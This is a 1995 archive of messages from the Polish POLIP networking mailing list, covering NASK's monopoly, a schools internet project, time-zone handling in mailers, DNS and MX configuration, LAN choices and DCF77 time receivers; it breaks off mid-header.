andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From RAJ@inf.wsp.krakow.pl Tue Jan 17 19:09:51 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA27325; Tue, 17 Jan 95 19:08:42 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id TAA29549 for ; Tue, 17 Jan 1995 19:12:24 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 17 Jan 95 19:06:06 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 19:05:37 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 19:05:34 GMT+0100 Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <15569C252B@inf.wsp.krakow.pl> > Date sent: Tue, 17 Jan 95 12:48:29 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) > Organization: Technical Univeristy of Wroclaw > : W momencie powstania innej sieci szkiletowej > : innego operatora, nie bedzie mogl odmowic > : dolaczenia jej do swojej sieci. (sytuacja hipopetyczna > : po wprowadzeniu w zycie ustawy o lacznosci) > > Hm... Nie znam odpowiednich przepisow, ale nie podejrzewam, aby tam sie > taki zapis znalazl ('NASK (czy dowolny operator) NIE MOZE odmowic > podlaczenia do sieci'). Dalej zostaje sprawa kosztow takiego dolaczenia, > Nask moze sobie tyle policzyc, ze sie niektorym odechce. > Nie dowolny operator. Operator sieci *publicznej* natomiast nie moze odmowic. Pytanie czy siec NASK- u zostanie uznana za publiczna czy nie. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Tue Jan 17 19:15:20 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA27538; Tue, 17 Jan 95 19:11:37 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id TAA29560 for ; Tue, 17 Jan 1995 19:14:53 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 17 Jan 95 19:08:35 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 19:08:35 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 19:08:34 GMT+0100 Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <15634521AB@inf.wsp.krakow.pl> > Date sent: Tue, 17 Jan 95 13:12:11 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: Krzysztof Mlynarski > To: sfrafa@cyf-kr.edu.pl > Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) > > : zrob finger @sam.nask.com.pl. > > Zrobilem, i nie widze nic ciekawego/podejrzanego. > > Wiekszosc uzytkownikow tej maszyny, to uzytkownicy komercyjni nie majacy > nic wspolnego z sieciami akademickimi. No przeciez to .com.pl !!! To w takim razie chyba oczywiste. > > I nadal najlepszym wyjsciem bylby drugi 'provider' ktory zdjal by z NASK > > ciezar monopolu. > > Dokladnie! Najwyzszy czas, aby ktos mial prawo to zrobi i aby to jednak > zrobil. Monopol tak czy owak zawsze tworzy bardzo niezdrowa sytuacje. Sluchajcie! Co z tym cholernym EUnetem? Pytalem juz o to jakis czas temu. Mniej wiecej rok temu reklamowali sie ze strasznym szumem jako konkurencja dla NASK-u, a w ogole nie slysze, zeby cos podlaczali, zeby ktos mial u nich konta itp... Wie ktos cos na ten temat? Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Tue Jan 17 19:20:19 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA27899; Tue, 17 Jan 95 19:18:33 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id TAA29589 for ; Tue, 17 Jan 1995 19:21:51 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 17 Jan 95 19:15:32 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 19:15:20 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 19:15:16 GMT+0100 Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <15802E5373@inf.wsp.krakow.pl> > Date sent: Tue, 17 Jan 95 16:38:39 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: lukasz@nask.org.pl (Mirek Luc) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) > Organization: Research And Academic Computer Network > : Na razie, od wielu lat ma faktyczny monopol. Co wiecej dosc starannie > : sie bronil, gdy chciano ten monopol zlamac poprzez np. zainstalowanie > : niezaleznego lacza z Krakowa do Austrii. Slyszalem kiedys o takiej > : wlasnie inicjatywie. > > Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, > a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego, > dluzszego (drozszego) lacza w swiat? > "Lacza miedzynarodowe prowadza przez Warszawe" ?????????????????? Nie rozumiem. No moze te aktualnie istniejace rzeczywiscie prowadza przez Warszawe, ale w tej krakowskiej inicjatywie chodzilo o polozenie kabla bezposrednio z Krakowa do Wiednia, nie przez zadna Warszawe! Dlaczego to lacze mialoby byc dluzsze i drozsze? Nie rozumiem. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Tue Jan 17 19:30:21 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA28305; Tue, 17 Jan 95 19:25:30 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id TAA29637 for ; Tue, 17 Jan 1995 19:28:47 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 17 Jan 95 19:22:28 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 19:22:16 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 19:22:08 GMT+0100 Subject: Re: Ustawianie czasu Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <159DBA456F@inf.wsp.krakow.pl> > Date sent: Tue, 17 Jan 95 17:22:41 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: Ustawianie czasu > Organization: University of Mining and Metallurgy > Na czym polega problem kowersji czasow? Zawsze wydawalo mi sie, > ze jesli hosty maja poprawnie ustawina strefe czsowa to ten problem > nie istnieje. Moze sie jednak myle. > Nie wszystkie mailery rozpoznaja strefy czasowe poprawnie. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From krzysio@hebe.umcs.lublin.pl Tue Jan 17 19:40:19 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA29170; Tue, 17 Jan 95 19:39:10 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id SAA07784 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:39:48 GMT From: Krzysztof Mlynarski Message-Id: <199501171839.SAA07784@hebe.umcs.lublin.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 19:39:47 +0100 (MET) In-Reply-To: <3fgl6o$70q@bilbo.nask.org.pl> from "Mirek Luc" at Jan 17, 95 04:36:49 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1472 Mirek Luc wrote: > > > Jeden komentarz natury technicznej: > > [...] > > : Na razie, od wielu lat ma faktyczny monopol. Co wiecej dosc starannie > : sie bronil, gdy chciano ten monopol zlamac poprzez np. zainstalowanie > : niezaleznego lacza z Krakowa do Austrii. Slyszalem kiedys o takiej > : wlasnie inicjatywie. > > Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, > a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego, > dluzszego (drozszego) lacza w swiat? > Hmmm... w *.pl mamy siec o topologii gwiazdy (o ile nie wezmie sie pod uwage roznych kiepskich polaczen, jak np. slynne juz 9600 pomiedzy Wroclawiem, a Poznaniem). Cala zabawa polega wlasnie na tym, aby bylo wiecej wyjsc z *.pl poza granice Kraju oraz aby lacza te wlasnie nie szly przez Warszawe. Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 19:45:20 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA29504; Tue, 17 Jan 95 19:44:07 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA16303 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 19:31:08 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 18:27:37 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3fh26p$t5r@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171539.AA09733@ocean.iopan.gda.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) : > Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, : > a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego, : > dluzszego (drozszego) lacza w swiat? : Glowne nasze lacze na swiat to linia satelitarna 2Mbps do Szwecji. Czy : naprawde placimy za okolo 2 razy 36000 km ? :-)))) Kto wie co by wyszlo, gdyby tak porownac ceny.... J. From piotrwi Tue Jan 17 21:45:21 1995 Received: by zsku.p.lodz.pl (5.65/25-eef) id AA05850; Tue, 17 Jan 95 21:44:51 +0100 Return-Path: Date: Tue, 17 Jan 1995 21:44:49 +0100 (MEZ) From: Piotr Wilk To: polip@zsku.p.lodz.pl Subject: Re: Ustawianie czasu Message-Id: Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej Address: 90-924 Lodz; ul. Stefanowskiego 18/22 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII LIstproc odrzucil - forwarduje Piotrek -- -------------------------------------------------------------- | Piotr Wilk | |------------------------------------------------------------| | Samodzielny Zaklad | email: | | Sieci Komputerowych | piotrwi@zsku.p.lodz.pl | | Politechniki Lodzkiej | piotrwi at plearn | -------------------------------------------------------------- ---------- Forwarded message ---------- From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > Wlasnie... i aby z tego w pelni korzystac wszyscy musieliby pisac na > Polip'a via newsy. Wielu jednak ludzi pisze korzystajac z e-mail'a (jako > i ja teraz czynie ;-)). Tak wiec tak czy tak, trzeba bedzie rozwiazac > problem konwersji czasow. Oto naglowek z Twojego listu: >From ci.pwr.wroc.pl!ict.pwr.wroc.pl!m2n-gate.ict.pwr.pl Tue Jan 17 20:27:55 1995 Path: ci.pwr.wroc.pl!ict.pwr.wroc.pl!m2n-gate.ict.pwr.pl >From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Newsgroups: pl.listserv.polip Subject: Re: Ustawianie czasu Message-ID: <199501171505.PAA06781@hebe.umcs.lublin.pl> Date: 17 Jan 95 15:44:35 GMT Sender: polip@zsku.p.lodz.pl Content-Type: text Organization: Lista dyskusyjna POLIP Lines: 29 Wojciech Myszka wrote: [reszte skasowalem] O dziwo data jest GMT (choc, oczywiscie powinna byc UTC, bo GMT to juz chyba zlikwidowali :-) Wojtek From RAJ@inf.wsp.krakow.pl Tue Jan 17 22:10:21 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06594; Tue, 17 Jan 95 22:06:39 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id WAA00532 for ; Tue, 17 Jan 1995 22:09:57 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 17 Jan 95 22:03:37 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 22:03:14 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 22:03:09 GMT+0100 Subject: Re: to MX or not to MX i jak? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <184CCE0087@inf.wsp.krakow.pl> > Date sent: Tue, 17 Jan 95 20:06:51 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: to MX or not to MX i jak? > Organization: Department of Maths and Computer Science, Warsaw University > Pytanie brzmi tak - czy chcemy, zeby listy raczej dochodzily do adrestow > (niechby i z opoznieniem), czy tez aby w przypadku najmniejszej awarii sieci > po drodze byly gubione? Ja wolalbym pierwszy wariant. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From wowoc@acs.ucalgary.ca Wed Jan 18 00:30:22 1995 Received: from acs7.acs.ucalgary.ca by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08751; Wed, 18 Jan 95 00:26:55 +0100 Return-Path: Received: from acs5.acs.ucalgary.ca by acs7.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03) id AA45839; Tue, 17 Jan 1995 16:28:45 -0700 Received: by acs5.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03) id AA170138; Tue, 17 Jan 1995 16:28:45 -0700 Date: Tue, 17 Jan 1995 16:28:45 -0700 From: wowoc@acs.ucalgary.ca Message-Id: <9501172328.AA170138@acs5.acs.ucalgary.ca> To: polip@zsku.p.lodz.pl Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Ten kto odradzal Novell-a przypuszczalnie mial na mysli zastapienie pecetow przez Macintosh-e z serwerem na Sunie. Ale SPARCstation 5 to taki tyciuski serwer... Witold Owoc __ Short version of signature is back by popular demand. __ #disclaimer "my.private.views" --------------------------------------------------------- The University of Calgary had no knowledge of nor in any way gave its consent to the transmission of this message. From Jacek@optocomp.waw.pl Wed Jan 18 04:56:42 1995 Received: from bilbo.nask.org.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA00804; Wed, 18 Jan 95 04:56:18 +0100 Return-Path: Received: from msmail.optocomp.waw.pl by bilbo (4.1/SMI-4.1) id AA07914; Wed, 18 Jan 95 04:57:05 +0100 Received: by msmail.optocomp.waw.pl with Microsoft Mail id <2F1D121B@msmail.optocomp.waw.pl>; Wed, 18 Jan 95 05:05:31 PST From: Jacek Blaschke To: polip Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Date: Wed, 18 Jan 95 05:03:00 PST Message-Id: <2F1D121B@msmail.optocomp.waw.pl> Return-Receipt-To: Encoding: 45 TEXT X-Mailer: Microsoft Mail V3.0 W tej radzie jest sens ekonomiczny. W oczywisty sposob, technicznie taka integracja jest mozliwa, jednak nie trywialna. Liczba sprawnych administratorow sieci z podstawowo uzywanymi aplikacjami takimi jak edytory, arkusze kalkulacyjne a jednoczesnie znajacymi arkana TCP/IP dla Novella jest nikczemnie mala. Nie jest rowniez specjalnie potrzebna w towarzystwie SUN'a jezeli nie uzywamy routing'u przez serwer . Pozostaje wtedy i tak nieuchronny problem konfiguracji klienta sieci. Novell zas pozostaje bardzo sprawnym fileserver'em. Windows NT 3.5 ma naturalny support dla TCP/IP, podstawowy zestaw klientow + serwer ftp. Jest tez bezproblemowo integrowalny z UNIX'em. Jezeli klientem jest WfW 3.11 lub MSClient 3.0 (dla DOS) instalacja i konfiguracja oprogramowania sieci jest blyskawiczna (DHCP + WINS). Jest tez sporo aplikacji PD (httpd, gopher, WAIS, NNTP itd). Nie wypada wspominac o cenach i programie MOLP - inne aplikacje tez moga okazac sie potrzebne po stronie klienta (co najmniej edytor i arkusz dla obliczen statystycznych - socjolodzy!) jak i serwera (SQL na przyklad). Sa tez bardziej prymitywne (na poziomie P-Maila) lub profesjonalne rozwiazania SMTP. Dodatkowo unikatowe czy mniej popularne rozwiazania sa drozsze administracyjnie. Jacek ---------- | From: polip | To: jacek | Subject: Re: Palac Staszica - jaka siec lokalna wybrac? | Date: Wednesday, January 18, 1995 12:36AM | | Ten kto odradzal Novell-a przypuszczalnie mial na mysli | zastapienie pecetow przez Macintosh-e z serwerem na Sunie. | Ale SPARCstation 5 to taki tyciuski serwer... | | Witold Owoc | | __ | Short version of signature is back by popular demand. | __ | #disclaimer "my.private.views" | --------------------------------------------------------- | The University of Calgary had no knowledge of nor in any | way gave its consent to the transmission of this message. | From piskozub@ocean.iopan.gda.pl Wed Jan 18 09:46:44 1995 Received: from ocean.iopan.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03882; Wed, 18 Jan 95 09:41:44 +0100 Received: by ocean.iopan.gda.pl (5.65/25-eef) id AA13346; Wed, 18 Jan 95 09:42:19 +0100 Return-Path: From: Jacek Piskozub Message-Id: <9501180842.AA13346@ocean.iopan.gda.pl> Subject: Brzydkie slowa (Bylo: Sygnatura Krzysia) To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 09:42:18 +0100 (Poland) In-Reply-To: <3fgrka$6d5@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 17, 95 07:37:55 pm X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 911 Andrzej K. Brandt pisze: > > Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: > > (LAME> ***** Imagine all the people sharing all the world (John Lennon) ***** ) Nie wtracalem sie dotad w sprawy cudzej sygnatury (ktora juz sie zreszta zmienila co czyni cala dyskusje "null and void"). Na to powyzej jednak musze zareagowac: Primo: Wstawienie swojego dopisku w cytat z kogos [bez zaznaczenia] to zwyczaj raczej z pralni niz z salonu. Secundo: Kategorycznie protestuje przeciw uzywaniu tego IRC-owskiego wyzwiska w powaznych grupach. Oczekuje przeprosin pana Andrzeja K. Brandta na tym samym forum, na ktorym slowo to padlo (jako narazony na te praktyki czytelnik, nie bynajmniej jako osoba przeciw ktorej tego uzyto). Na przyszlosc proponuje panu A.K.B przynajmnieej zaznaczanie tego w polu Subject (np.: Re: Sygnatura Krzysia [BRZYDKIE SLOWA!!!] ) Z powazaniem Jacek Piskozub piskozub@iopan.gda.pl From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 10:26:45 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05047; Wed, 18 Jan 95 10:23:38 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA28902 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 10:21:32 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 09:20:12 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fimgc$hop@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501172328.AA170138@acs5.acs.ucalgary.ca> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? wowoc@acs.ucalgary.ca wrote: : Ten kto odradzal Novell-a przypuszczalnie mial na mysli : zastapienie pecetow przez Macintosh-e z serwerem na Sunie. : Ale SPARCstation 5 to taki tyciuski serwer... No wiesz, my tutaj w Polsce ogolnie dzialamy za tyciuskie pieniadze w porownaniu z USA, Kanada etc. Inna sprawa, ze ceny sprzetu w USA sa nadal mniej wiecej o polowe nizsze. Ostatnio badamy tutaj kwestie cen X-terminali. To co mozna w USA kupic za $1.500 , to u nas za $2.900... -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 10:26:47 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05050; Wed, 18 Jan 95 10:23:40 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA28901 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 10:21:32 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 09:17:14 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fimaq$hop@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501180842.AA13346@ocean.iopan.gda.pl> Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia) Jacek Piskozub (piskozub@ocean.iopan.gda.pl) wrote: : Secundo: Kategorycznie protestuje przeciw uzywaniu tego IRC-owskiego : wyzwiska w powaznych grupach. : Oczekuje przeprosin pana Andrzeja K. Brandta na tym samym forum, na ktorym : slowo to padlo (jako narazony na te praktyki czytelnik, nie bynajmniej jako : osoba przeciw ktorej tego uzyto). Na przyszlosc proponuje panu A.K.B : przynajmnieej zaznaczanie tego w polu Subject (np.: Re: Sygnatura Krzysia : [BRZYDKIE SLOWA!!!] ) Bardzo lamerskie - slowo lame nie wystepuje jedynie na IRC. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From kokowski@CS.PUT.Poznan.PL Wed Jan 18 10:31:45 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05462; Wed, 18 Jan 95 10:31:07 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA01104; Wed, 18 Jan 95 10:32:28 +0100 Subject: Re: jak to jest z tym naszym DNS? To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 10:18:35 +0100 (CEU) From: Tomasz Kokowski In-Reply-To: <9501171731.aa17120@usctoux1.cto.us.edu.pl> from "Maciek Uhlig" at Jan 17, 95 06:11:08 pm Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 522 Message-Id: <9501181018.aa10356@wega.ics.tup.edu.pl> Maciej Uhlig: > > wczoraj dodalem do DNS nowa maszyne. Dzis niekoniecznie ja wszedzie > widac. Sprawdzam. Od root servera. Podaje w kolejnosci: bilbo, cocos, > sunet. Sprawdzam. W bilbo - nie widac. W cocos - nie widac. > W sunet - o dziwo - widac. Szwedzi predzej wiedza, co ja tu wyprawiam, > niz warszawiacy. Zeby nas znow jaki potop nie zalal. Bo mnie juz > zalewa, ale nie woda... :-) > Synchronizacja szwankuje. Serial numbers i te rzeczy sie klaniaja. Przerabiamy to w Poznaniu na co dzien. Tomasz Kokowski From ELEKP@elektron.pol.lublin.pl Wed Jan 18 10:46:44 1995 Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06455; Wed, 18 Jan 95 10:44:20 +0100 Return-Path: Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP (1.38.193.4/16.2) id AA21018; Wed, 18 Jan 1995 10:45:14 +0100 Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13); Wed, 18 Jan 95 10:40:49 +0100 Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 10:40:21 +0100 From: "Eligiusz Pawlowski, LUBLIN." To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 10:40:19 +0100 Subject: Re: Ustawianie czasu-odbiornik DCF77 X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.1 (R1a) Message-Id: <2682FB5771@elektron.pol.lublin.pl> Witam spragnionych dokladnego czasu! Problem synchronizacji czasu poprzez siec, z servera czasu jest mi obcy. Wiem natomiast, ze stosunkowo latwo mozna zsynchronizowac czas w dowolnym komputerze (a wiec i w lokalnym serverze), z jednym z dokladniejszych zegarow w europie. Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB. PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar). Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz, stad nazwa tego nadajnika DCF77. Sygnal czasu mozna odbierac praktycznie na calym obszarze Polski, potrzebny jest odpowiedni odbiornik i program. Jest w Polsce firma, ktora to oferuje. Zainteresowanych odsylam do miesiecznika Elektronika Praktyczna z ubieglego roku, niestety numeru nie pamietam. Jest dokladnie opisany uklad i program (no moze niezbyt dokladnie, tylko tak , aby zachecic do kupienia). Jest tez w kilku numerach reklama firmy, ktora to sprzedaje. Jesli kogos to interesuje, moge odszukac namiary. Osobiscie nie korzystalem z tego ukladu, ale mialem mozliwosc ogladac go i rozmawialem bezposrednio z producentem. Z konstrukcyjnego punktu widzenia zastosowano tam gotowy modul odbiornika (prod.RFN) sprzezonego z zegarkiem cyfrowym. Z tego zegarka wyprowadzono zakodowany sygnal czasu i po zlaczu RS232 wprowadzono do komputera. Program rozkodowuje czas i wpisuje do zegarka CMOSowego. Zakodowany sygnal zawiera aktualny czas (rozdzielczosc 1s), date, czas letni/zimowy, zapowiedz zmiany czasu,lata przestepne itp. Wydaje sie, ze niewielkim kosztem (kilka starych mln zl) kazdy, kto odczuwa taka potrzebe, moze zapewnic sobie w sposob ciagly dokladny czas w swoim komputerze. Jesli ktos zakupi taki uklad, to moze zalapie sie na jakos prowizje? :-) Elek. ------------------------------------------------------------------- Eligiusz Pawlowski elekp@elektron.pol.lublin.pl POLITECHNIKA LUBELSKA Wydzial Elektryczny Katedra Metrologii Elektrycznej i Elektronicznej ul.Nadbystrzycka 38 A 20-618 LUBLIN tel.(48) (81) 55-10-51 wew.259,265 ------------------------------------------------------------------- From ELEKP@elektron.pol.lublin.pl Wed Jan 18 10:56:45 1995 Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07103; Wed, 18 Jan 95 10:52:44 +0100 Return-Path: Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP (1.38.193.4/16.2) id AA21067; Wed, 18 Jan 1995 10:53:39 +0100 Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13); Wed, 18 Jan 95 10:49:14 +0100 Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 10:49:05 +0100 From: "Eligiusz Pawlowski, LUBLIN." To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 10:49:05 +0100 Subject: Re: Ustawianie czasu X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.1 (R1a) Message-Id: <26A8457517@elektron.pol.lublin.pl> > Date sent: Tue, 17 Jan 95 16:00:22 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) > To: elekp@elektron.pol.lublin.pl > Subject: Re: Ustawianie czasu > Organization: 